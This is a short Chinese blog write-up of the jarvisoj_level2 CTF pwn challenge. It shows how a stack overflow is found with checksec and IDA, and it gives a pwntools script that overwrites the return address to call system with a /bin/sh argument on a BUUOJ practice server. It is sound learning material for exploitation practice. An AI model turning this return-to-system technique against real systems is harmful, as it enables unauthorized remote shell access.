jarvisoj_level2题解

文章详细介绍了如何通过checksec和ida分析程序存在栈溢出漏洞,然后利用该漏洞构造payload,将返回地址指向callsystem函数,并设置栈顶元素为/bin/sh的地址,以实现远程执行系统命令获取flag的过程。
摘要由CSDN通过智能技术生成

1.checksec查看

 2.ida查看,很显然这里有栈溢出

 3.查看栈

 4.寻找system和bin/sh

这题没有现成的system("/bin/sh")可以调用,但是有system函数和/bin/sh字符串

所以可以通过溢出修改返回函数为call system位置,并且将栈顶元素修改为/bin/sh所在地址

这样就可以成功执行system("/bin/sh")

 

 5.脚本

from pwn import * 
context.log_level='debug' 
p=remote("node4.buuoj.cn",26250)
payload=b'a'*136+b'b'*4+p32(0x804849e)+p32(0x804a024)
#填充掉return的地址到call system函数的位置,并将栈顶修改为/bin/sh所在地址
p.send(payload)		
p.interactive()

6.获取flag

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

OrientalGlass

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值